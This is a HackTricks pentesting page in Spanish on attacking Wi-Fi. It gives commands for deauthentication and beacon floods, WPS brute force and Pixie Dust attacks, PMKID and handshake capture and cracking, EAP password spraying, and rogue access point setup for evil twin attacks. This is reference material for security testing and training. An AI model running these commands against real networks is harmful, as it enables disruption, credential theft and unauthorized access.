hacktricks/generic-methodologies-and-resources/pentesting-wifi
carlospolop f071040ea3 f
2023-06-05 20:44:19 +02:00
..
basic-forensic-methodology f 2023-06-05 20:44:19 +02:00
evil-twin-eap-tls.md f 2023-06-05 20:44:19 +02:00
README.md f 2023-06-05 20:44:19 +02:00

Pentesting Wifi

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Comandos básicos de Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

Herramientas

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon es una herramienta de prueba de penetración de redes inalámbricas todo en uno que incluye una gran cantidad de herramientas y opciones para realizar pruebas de seguridad en redes Wi-Fi. Algunas de las características de Airgeddon incluyen la capacidad de realizar ataques de fuerza bruta, ataques de diccionario, ataques de deautenticación, ataques de Evil Twin, ataques de WPS, y mucho más. También incluye una interfaz de usuario fácil de usar y una guía paso a paso para ayudar a los usuarios a realizar pruebas de penetración de redes inalámbricas de manera efectiva.

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Ejecutar airgeddon con docker

Para ejecutar airgeddon con docker, primero debemos asegurarnos de tener docker instalado en nuestro sistema. Luego, podemos seguir los siguientes pasos:

  1. Descargar la imagen de docker de airgeddon:
docker pull v1s1t0r1sh3r3/airgeddon
  1. Ejecutar la imagen de docker:
docker run -it --net=host --privileged v1s1t0r1sh3r3/airgeddon

Con estos pasos, deberíamos poder ejecutar airgeddon dentro de un contenedor de docker.

docker run \
          --rm \
          -ti \
          --name airgeddon \
          --net=host \
          --privileged \
          -p 3000:3000 \
          -v /tmp:/io \
          -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
          v1s1t0r1sh3r3/airgeddon

wifiphisher

Puede realizar ataques de Evil Twin, KARMA y Beacons Conocidos y luego utilizar una plantilla de phishing para obtener la contraseña real de la red o capturar credenciales de redes sociales.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Esta herramienta automatiza ataques WPS/WEP/WPA-PSK. Automáticamente:

  • Configura la interfaz en modo monitor
  • Escanea posibles redes - Y te permite seleccionar la(s) víctima(s)
  • Si es WEP - Lanza ataques WEP
  • Si es WPA-PSK
    • Si es WPS: ataque Pixie Dust y ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta pines nulos o pines generados de bases de datos.
    • Intenta capturar el PMKID del AP para crackearlo
    • Intenta desautenticar clientes del AP para capturar un handshake
    • Si tiene PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas más comunes.

Resumen de ataques

  • DoS
    • Desautenticación/disasociación -- Desconecta a todos (o a un ESSID/Cliente específico)
    • APs falsos aleatorios -- Oculta redes, posibles bloqueos de escáneres
    • Sobrecarga AP -- Intenta matar al AP (usualmente no muy útil)
    • WIDS -- Juega con el IDS
    • TKIP, EAPOL -- Algunos ataques específicos para hacer DoS a algunos APs
  • Cracking
    • Crackear WEP (varias herramientas y métodos)
    • WPA-PSK
      • WPS pin "Fuerza Bruta"
      • WPA PMKID fuerza bruta
      • [DoS +] Captura de handshake WPA + Crackeo
    • WPA-MGT
      • Captura de nombre de usuario
      • Fuerza Bruta de credenciales
  • Evil Twin (con o sin DoS)
    • Evil Twin Abierto [+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
    • Evil Twin WPA-PSK -- Útil para ataques de red si conoces la contraseña
    • WPA-MGT -- Útil para capturar credenciales de la empresa
  • KARMA, MANA, Loud MANA, Beacon conocido
    • + Abierto -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
    • + WPA -- Útil para capturar handshakes WPA

DOS

Paquetes de desautenticación

La forma más común en que se realiza este tipo de ataque es con paquetes de desautenticación. Estos son un tipo de marco "de gestión" responsable de desconectar un dispositivo de un punto de acceso. Falsificar estos paquetes es la clave para hackear muchas redes Wi-Fi, ya que puedes desconectar forzosamente cualquier cliente de la red en cualquier momento. La facilidad con la que se puede hacer esto es algo aterrador y a menudo se hace como parte de la recopilación de un handshake WPA para crackear.

Además de usar momentáneamente esta desconexión para recolectar un handshake para crackear, también puedes dejar que esos desautenticaciones sigan llegando, lo que tiene el efecto de bombardear al cliente con paquetes de desautenticación aparentemente provenientes de la red a la que están conectados. Debido a que estos marcos no están cifrados, muchos programas aprovechan los marcos de gestión falsificándolos y enviándolos a uno o todos los dispositivos en una red.
Descripción de aquí.

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 significa desautenticación
  • 1 es el número de desautenticaciones a enviar (puedes enviar varias si lo deseas); 0 significa enviarlas continuamente
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía una desautenticación de difusión (no siempre funciona)
  • ath0 es el nombre de la interfaz

Paquetes de disociación

Los paquetes de disociación son otro tipo de trama de gestión que se utiliza para desconectar un nodo (es decir, cualquier dispositivo como un portátil o un teléfono móvil) de un punto de acceso cercano. La diferencia entre las tramas de desautenticación y las de disociación radica principalmente en la forma en que se utilizan.

Un punto de acceso que busca desconectar un dispositivo no autorizado enviaría una trama de desautenticación para informar al dispositivo de que ha sido desconectado de la red, mientras que una trama de disociación se utiliza para desconectar cualquier nodo cuando el punto de acceso se apaga, reinicia o abandona el área.

Descripción de aquí.

Este ataque se puede realizar con mdk4 (modo "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them 
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Más ataques DOS por mdk4

Desde aquí.

MODO DE ATAQUE b: Beacon Flooding

Envía tramas de balizas para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

MODO DE ATAQUE a: Denegación de Servicio de Autenticación

Envía tramas de autenticación a todos los AP encontrados en el rango. Demasiados clientes pueden congelar o reiniciar varios APs.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODO DE ATAQUE p: Sondeo y fuerza bruta de SSID

Sondea los puntos de acceso y verifica si hay respuesta, útil para comprobar si el SSID ha sido descubierto correctamente y si el AP está dentro de su rango de envío. También está disponible la fuerza bruta de SSIDs ocultos con o sin una lista de palabras.

MODO DE ATAQUE m: Explotación de contramedidas de Michael

Envía paquetes aleatorios o reinyecta duplicados en otra cola de QoS para provocar las contramedidas de Michael en los APs TKIP. El AP se apagará durante un minuto completo, lo que lo convierte en un efectivo DoS.

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

MODO DE ATAQUE e: Inyección de paquetes EAPOL Start y Logoff

Se inundan los AP con tramas de inicio de EAPOL para mantenerlo ocupado con sesiones falsas y así deshabilitarlo para manejar cualquier cliente legítimo. O se desconectan los clientes mediante la inyección de mensajes falsos de Logoff EAPOL.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s

Se realizan varios ataques al manejo de enlaces y enrutamiento en redes de malla. Se inundan los vecinos y las rutas, se crean agujeros negros y se desvía el tráfico.

MODO DE ATAQUE w: Confusión de WIDS

Confundir/Abusar de los Sistemas de Detección y Prevención de Intrusos cruzando la conexión de clientes a múltiples nodos WDS o a falsos APs maliciosos.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

MODO DE ATAQUE f: Fuzzer de paquetes

Un fuzzer de paquetes simple con múltiples fuentes de paquetes y un buen conjunto de modificadores. ¡Ten cuidado!

Airggedon

Airgeddon ofrece la mayoría de los ataques propuestos en los comentarios anteriores:

WPS

WPS significa Wi-Fi Protected Setup. Es un estándar de seguridad de red inalámbrica que intenta hacer que las conexiones entre un enrutador y dispositivos inalámbricos sean más rápidas y fáciles. WPS solo funciona para redes inalámbricas que usan una contraseña que está encriptada con los protocolos de seguridad WPA Personal o WPA2 Personal. WPS no funciona en redes inalámbricas que utilizan la seguridad WEP obsoleta, que puede ser fácilmente descifrada por cualquier hacker con un conjunto básico de herramientas y habilidades. (De aquí)

WPS utiliza un PIN de 8 dígitos para permitir que un usuario se conecte a la red, pero primero se comprueban los primeros 4 números y, si son correctos, se comprueban los segundos 4 números. Entonces, es posible hacer un ataque de fuerza bruta en la primera mitad y luego en la segunda mitad (solo 11000 posibilidades).

Fuerza bruta de WPS

Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.

  • Reaver ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
  • Bully es una nueva implementación del ataque de fuerza bruta de WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de la endianness y un conjunto más robusto de opciones.

Este ataque aprovecha una debilidad en el código PIN WPS de ocho dígitos; debido a este problema, el protocolo revela información sobre los primeros cuatro dígitos del PIN, y el último dígito funciona como un checksum, lo que hace que la fuerza bruta del AP WPS sea fácil.
Tenga en cuenta que algunos dispositivos incluyen protecciones de fuerza bruta, que generalmente bloquean las direcciones MAC que intentan atacar repetidamente. En ese caso, la complejidad de este ataque aumenta, porque tendría que rotar las direcciones MAC mientras prueba los PIN.

Si se encuentra el código válido de WPS, tanto Bully como Reaver lo utilizarán para descubrir el PSK WPA/WPA2 utilizado para proteger la red, por lo que podrá conectarse en cualquier momento que lo necesite.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot    
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Fuerza bruta inteligente

En lugar de comenzar a probar cada posible PIN, debes verificar si hay PINs descubiertos disponibles para el AP que estás atacando (dependiendo del MAC del fabricante) y los PINs generados por software.

  • La base de datos de PINs conocidos está hecha para Access Points de ciertos fabricantes para los cuales se sabe que usan los mismos PINs WPS. Esta base de datos contiene los primeros tres octetos de las direcciones MAC y una lista de PINs correspondientes que son muy probables para este fabricante.
  • Hay varios algoritmos para generar PINs WPS. Por ejemplo, ComputePIN y EasyBox usan la dirección MAC del Access Point en sus cálculos. Pero el algoritmo de Arcadyan también requiere un ID de dispositivo.

Ataque WPS Pixie Dust

Dominique Bongard descubrió que algunos AP tienen formas débiles de generar nonces (conocidos como E-S1 y E-S2) que se supone que son secretos. Si podemos averiguar cuáles son estos nonces, podemos encontrar fácilmente el PIN WPS de un AP, ya que el AP debe dárnoslo en un hash para demostrar que también conoce el PIN, y el cliente no se está conectando a un AP falso. Estos E-S1 y E-S2 son esencialmente las "claves para desbloquear la caja de cerradura" que contiene el PIN WPS. Más información aquí: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)

Básicamente, algunas implementaciones fallaron en el uso de claves aleatorias para cifrar las 2 partes del PIN (ya que se descompone en 2 partes durante la comunicación de autenticación y se envía al cliente), por lo que se podría usar un ataque offline para forzar el PIN válido.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Ataque de Pin Nulo

Algunas implementaciones realmente malas permiten la conexión con Pin Nulo (lo cual es muy extraño). Reaver puede probar esto (Bully no puede).

 reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando airgeddon.

  • 5 y 6 te permiten probar tu PIN personalizado (si tienes alguno)
  • 7 y 8 realizan el ataque Pixie Dust
  • 13 te permite probar el PIN NULL
  • 11 y 12 recopilarán los PIN relacionados con el AP seleccionado de las bases de datos disponibles y generarán posibles PIN utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
  • 9 y 10 probarán todos los posibles PIN

WEP

Tan roto y desaparecido que no voy a hablar de él. Solo sepa que airgeddon tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones de la comunidad

WPA/WPA2 PSK

PMKID

En 2018, los autores de hashcat revelaron un nuevo tipo de ataque que no solo se basa en un solo paquete, sino que no requiere que ningún cliente esté conectado a nuestro AP objetivo, sino solo la comunicación entre el atacante y el AP.

Resulta que muchos routers modernos agregan un campo opcional al final del primer marco EAPOL enviado por el propio AP cuando alguien se está asociando, el llamado Robust Security Network, que incluye algo llamado PMKID.

Como se explica en la publicación original, el PMKID se deriva utilizando datos que nos son conocidos:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Dado que la cadena "PMK Name" es constante, conocemos tanto el BSSID del AP como el de la estación y el PMK es el mismo obtenido a partir de un apretón de manos completo de 4 vías, ¡esto es todo lo que hashcat necesita para descifrar la PSK y recuperar la frase de contraseña!
Descripción obtenida de aquí.

Para recopilar esta información y realizar fuerza bruta localmente en la contraseña, puedes hacer lo siguiente:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Los PMKIDs capturados se mostrarán en la consola y también se guardarán en _ /tmp/attack.pcap_
Ahora, convierta la captura al formato de hashcat/john y descifrelo:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Tenga en cuenta que el formato correcto de un hash contiene 4 partes, como: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__Si el suyo sólo contiene 3 partes, entonces es inválido (la captura PMKID no fue válida).

Tenga en cuenta que hcxdumptool también captura los handshakes (algo como esto aparecerá: MP:M1M2 RC:63258 EAPOLTIME:17091). Puede transformar los handshakes al formato de hashcat/john usando cap2hccapx.

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

He notado que algunos handshakes capturados con esta herramienta no se pueden descifrar incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta.

Captura de Handshake

Una forma de atacar redes WPA/WPA2 es capturando un handshake e intentar descifrar la contraseña utilizada offline. Para hacerlo, necesitas encontrar el BSSID y el canal de la red víctima, y un cliente que esté conectado a la red.
Una vez que tengas esa información, debes comenzar a escuchar toda la comunicación de ese BSSID en ese canal, porque con suerte el handshake se enviará allí:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

Ahora necesitas desautenticar al cliente durante unos segundos para que se autentique automáticamente de nuevo en el AP (por favor, lee la parte de DoS para encontrar varias formas de desautenticar a un cliente):

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work

Nota que como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente.

Una vez que aparezca información de handshake en airodump-ng, esto significa que se capturó el handshake y puedes dejar de escuchar:

Una vez que se captura el handshake, puedes descifrarlo con aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Comprobar si hay handshake en el archivo

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark es una herramienta de línea de comandos que permite capturar y analizar el tráfico de red en tiempo real o desde un archivo de captura previo. Es una herramienta muy útil para la resolución de problemas de red y para la detección de posibles ataques. tshark es parte de la suite de herramientas Wireshark y comparte muchas de sus características y funcionalidades.

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty es una herramienta de línea de comandos para la auditoría de seguridad de redes inalámbricas que se utiliza para descifrar contraseñas WPA-PSK utilizando tablas de búsqueda.

cowpatty -r psk-01.cap -s "ESSID" -f -

Si esta herramienta encuentra un handshake incompleto de un ESSID antes del completado, no detectará el válido.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

Es importante hablar sobre los diferentes métodos de autenticación que podrían ser utilizados por una red Wifi empresarial. Para este tipo de redes Wifi, probablemente encontrarás en airodump-ng algo como esto:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP (Protocolo de Autenticación Extensible) es la base de la comunicación de autenticación, sobre la cual se utiliza un algoritmo de autenticación por parte del servidor para autenticar al cliente (suplicante) y, en algunos casos, por parte del cliente para autenticar al servidor.
Los principales algoritmos de autenticación utilizados en este caso son:

  • EAP-GTC: Es un método EAP para soportar el uso de tokens de hardware y contraseñas de un solo uso con EAP-PEAP. Su implementación es similar a MSCHAPv2, pero no utiliza un desafío entre pares. En su lugar, las contraseñas se envían al punto de acceso en texto plano (muy interesante para ataques de degradación).
  • EAP-MD-5 (Message Digest): El cliente envía el hash MD5 de la contraseña. No recomendado: Vulnerable a ataques de diccionario, sin autenticación del servidor y sin forma de generar claves de privacidad equivalentes al cableado (WEP) por sesión.
  • EAP-TLS (Transport Layer Security): Se basa en certificados del lado del cliente y del servidor para realizar la autenticación y se puede utilizar para generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones posteriores.
  • EAP-TTLS (Tunneled Transport Layer Security): Autenticación mutua del cliente y la red a través de un canal (o túnel) cifrado, así como un medio para derivar claves WEP dinámicas por usuario y por sesión. A diferencia de EAP-TLS, EAP-TTLS solo requiere certificados del lado del servidor (el cliente usará credenciales).
  • PEAP (Protected Extensible Authentication Protocol): PEAP es como el protocolo EAP pero crea un túnel TLS para proteger la comunicación. Entonces, se pueden utilizar protocolos de autenticación débiles en la parte superior de EAP, ya que estarán protegidos por el túnel.
    • PEAP-MSCHAPv2: Esto también se conoce como solo PEAP porque es ampliamente adoptado. Este es solo el desafío / respuesta vulnerable llamado MSCHAPv2 en la parte superior de PEAP (está protegido por el túnel TLS).
    • PEAP-EAP-TLS o simplemente PEAP-TLS: Es muy similar a EAP-TLS pero se crea un túnel TLS antes de que se intercambien los certificados.

Puede encontrar más información sobre estos métodos de autenticación aquí y aquí.

Captura de nombre de usuario

Al leer https://tools.ietf.org/html/rfc3748#page-27, parece que si está utilizando EAP, los mensajes de "Identidad" deben ser compatibles, y el nombre de usuario se enviará en texto claro en los mensajes de "Respuesta de identidad".

Incluso al utilizar uno de los métodos de autenticación más seguros: PEAP-EAP-TLS, es posible capturar el nombre de usuario enviado en el protocolo EAP. Para hacerlo, capture una comunicación de autenticación (inicie airodump-ng dentro de un canal y wireshark en la misma interfaz) y filtre los paquetes por eapol.
Dentro del paquete "Respuesta, Identidad", aparecerá el nombre de usuario del cliente.

Identidades anónimas

(Información tomada de https://www.interlinknetworks.com/app_notes/eap-peap.htm)

Tanto EAP-PEAP como EAP-TTLS admiten el ocultamiento de identidad. En un entorno WiFi, el punto de acceso (AP) genera típicamente una solicitud de identidad EAP como parte del proceso de asociación. Para preservar el anonimato, el cliente EAP en el sistema del usuario puede responder con la información suficiente para permitir que el primer servidor RADIUS de salto procese la solicitud, como se muestra en los siguientes ejemplos.

  • EAP-Identity = anonymous

En este ejemplo, todos los usuarios compartirán el seudónimo "anónimo". El primer servidor RADIUS de salto es un servidor EAP-PEAP o EAP-TTLS que impulsa el extremo del servidor de PEAP o TTLS. El tipo de autenticación interna (protegido) se manejará localmente o se enviará a un servidor RADIUS remoto (doméstico).

  • EAP-Identity = anonymous@realm_x

En este ejemplo, los usuarios que pertenecen a diferentes dominios ocultan su propia identidad, pero indican a qué dominio pertenecen para que el primer servidor RADIUS de salto pueda enviar las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actuarán como el servidor PEAP o TTLS. El primer servidor de salto actúa puramente como un nodo de retransmisión RADIUS.

Alternativamente, el primer servidor de salto puede actuar como el servidor EAP-PEAP o EAP-TTLS y procesar el método de autenticación protegido o enviarlo a otro servidor. Esta opción se puede utilizar para configurar diferentes políticas para diferentes dominios.

En EAP-PEAP, una vez que el servidor PEAP y el cliente PEAP establecen el túnel TLS, el servidor PEAP genera una solicitud de identidad EAP y la transmite por el túnel TLS. El cliente responde a esta segunda solicitud de identidad EAP enviando una respuesta de identidad EAP que contiene la verdadera identidad del usuario por el túnel cifrado. Esto evita que cualquier persona que espíe el tráfico 802.11 descubra la verdadera identidad del usuario.

EAP-TTLS funciona de manera ligeramente diferente. Con EAP-TTLS, el cliente normalmente se autentica a través de PAP o CHAP protegido por el túnel TLS. En este caso, el cliente incluirá un atributo User-Name y un atributo Password o CHAP-Password en el primer mensaje TLS enviado después de que se establezca el túnel.

Con cualquiera de los protocolos, el servidor PEAP/TTLS aprende la verdadera identidad del usuario una vez que se ha establecido el túnel TLS. La verdadera identidad puede ser en forma de usuario@dominio o simplemente usuario. Si el servidor PEAP/TTLS también está autenticando al usuario, ahora conoce la identidad del usuario y procede con el método de autenticación que está protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS de origen del usuario. Esta nueva solicitud RADIUS tiene el protocolo PEAP o TTLS eliminado. Si el método de autenticación protegido es EAP, los mensajes internos de EAP se transmiten al servidor RADIUS de origen sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, no la identidad anónima del atributo User-Name de la solicitud RADIUS entrante. Si el método de autenticación protegido es PAP o CHAP (solo admitido por TTLS), los atributos de autenticación User-Name y otros recuperados de la carga útil TLS se colocan en el mensaje RADIUS saliente en lugar del atributo User-Name anónimo y los atributos TTLS EAP-Message incluidos en la solicitud RADIUS entrante.

EAP-Bruteforce (ataque de contraseña)

Si se espera que el cliente use un nombre de usuario y contraseña (tenga en cuenta que EAP-TLS no será válido en este caso), entonces podría intentar obtener una lista de nombres de usuario (ver la siguiente parte) y contraseñas e intentar atacar por fuerza bruta el acceso utilizando air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

También puedes realizar este ataque utilizando eaphammer:

./eaphammer --eap-spray \
	--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
	--essid example-wifi \
	--password bananas \
	--user-list users.txt

Teoría de ataques al cliente

Selección de red y roaming

Aunque el protocolo 802.11 tiene reglas muy específicas que dictan cómo una estación puede unirse a un ESS, no especifica cómo la estación debe seleccionar un ESS al que conectarse. Además, el protocolo permite a las estaciones moverse libremente entre puntos de acceso que comparten el mismo ESSID (porque no querrías perder la conectividad WiFi al caminar de un extremo de un edificio a otro, etc.). Sin embargo, el protocolo 802.11 no especifica cómo se deben seleccionar estos puntos de acceso. Además, aunque las estaciones deben autenticarse en el ESS para asociarse con un punto de acceso, el protocolo 802.11 no requiere que el punto de acceso se autentique en la estación.

Listas de redes preferidas (PNLs)

Cada vez que una estación se conecta a una red inalámbrica, el ESSID de la red se almacena en la Lista de redes preferidas (PNL) de la estación. La PNL es una lista ordenada de todas las redes a las que la estación se ha conectado en el pasado, y cada entrada en la PNL contiene el ESSID de la red y cualquier información de configuración específica de la red necesaria para establecer una conexión.

Escaneo pasivo

En las redes de infraestructura, los puntos de acceso transmiten periódicamente tramas de baliza para anunciar su presencia y capacidades a las estaciones cercanas. Las balizas son tramas de difusión, lo que significa que están destinadas a ser recibidas por todas las estaciones cercanas en el rango. Las balizas incluyen información sobre las tasas admitidas por el AP, las capacidades de cifrado, información adicional y, lo más importante, las tramas de baliza contienen el ESSID del AP (siempre que la difusión de ESSID no esté desactivada).

Durante el escaneo pasivo, el dispositivo cliente escucha las tramas de baliza de los puntos de acceso cercanos. Si el dispositivo cliente recibe una trama de baliza cuyo campo ESSID coincide con un ESSID de la PNL del cliente, el cliente se conectará automáticamente al punto de acceso que envió la trama de baliza. Entonces, supongamos que queremos atacar un dispositivo inalámbrico que no está conectado actualmente a ninguna red inalámbrica. Si conocemos al menos una entrada en la PNL de ese cliente, podemos obligar al cliente a conectarse a nosotros simplemente creando nuestro propio punto de acceso con el ESSID de esa entrada.

Sondeo activo

El segundo algoritmo de selección de red utilizado en 802.11 se conoce como Sondeo activo. Los dispositivos cliente que utilizan el sondeo activo transmiten continuamente tramas de solicitud de sondeo para determinar qué AP están dentro del rango, así como cuáles son sus capacidades. Las solicitudes de sondeo se presentan en dos formas: dirigidas y de difusión. Las solicitudes de sondeo dirigidas están dirigidas a un ESSID específico y son la forma en que el cliente comprueba si hay una red específica cerca.

Los clientes que utilizan el sondeo dirigido enviarán solicitudes de sondeo para cada red en su PNL. Cabe señalar que el sondeo dirigido es la única forma de identificar la presencia de redes ocultas cercanas. Las solicitudes de sondeo de difusión funcionan casi exactamente de la misma manera, pero se envían con el campo SSID establecido en NULL. Esto dirige la solicitud de sondeo a todos los puntos de acceso cercanos, permitiendo que la estación compruebe si alguna de sus redes preferidas está cerca sin revelar el contenido de su PNL.

Simple AP con redirección a Internet

Antes de explicar cómo realizar ataques más complejos, se explicará cómo simplemente crear un AP y redirigir su tráfico a una interfaz conectada a Internet.

Usando ifconfig -a, comprueba que la interfaz wlan para crear el AP y la interfaz conectada a Internet están presentes.

DHCP y DNS

apt-get install dnsmasq #Manages DHCP and DNS

Cree un archivo de configuración /etc/dnsmasq.conf de la siguiente manera:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Luego configura las IPs y rutas:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Y luego inicie dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

Hostapd es un demonio que facilita la creación de puntos de acceso inalámbricos utilizando tarjetas de red inalámbricas. Es compatible con WPA y WPA2, y puede ser utilizado para crear redes inalámbricas seguras.

apt-get install hostapd

Cree un archivo de configuración hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Detener procesos molestos, establecer el modo monitor, y iniciar hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Reenvío y Redirección

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Un ataque de Evil Twin es un tipo de ataque Wi-Fi que aprovecha el hecho de que la mayoría de las computadoras y teléfonos solo verán el "nombre" o ESSID de una red inalámbrica (ya que la estación base no necesita autenticarse contra el cliente). Esto hace que sea muy difícil distinguir entre redes con el mismo nombre y el mismo tipo de cifrado. De hecho, muchas redes tendrán varios puntos de acceso que extienden la red, todos usando el mismo nombre para expandir el acceso sin confundir a los usuarios.

Debido a cómo funciona la implementación de los clientes (recuerde que el protocolo 802.11 permite que las estaciones se muevan libremente entre puntos de acceso dentro del mismo ESS), es posible hacer que un dispositivo cambie la estación base a la que está conectado. Es posible hacerlo ofreciendo una mejor señal (lo cual no siempre es posible) o bloqueando el acceso a la estación base original (paquetes de deautenticación, interferencia o alguna otra forma de ataque DoS).

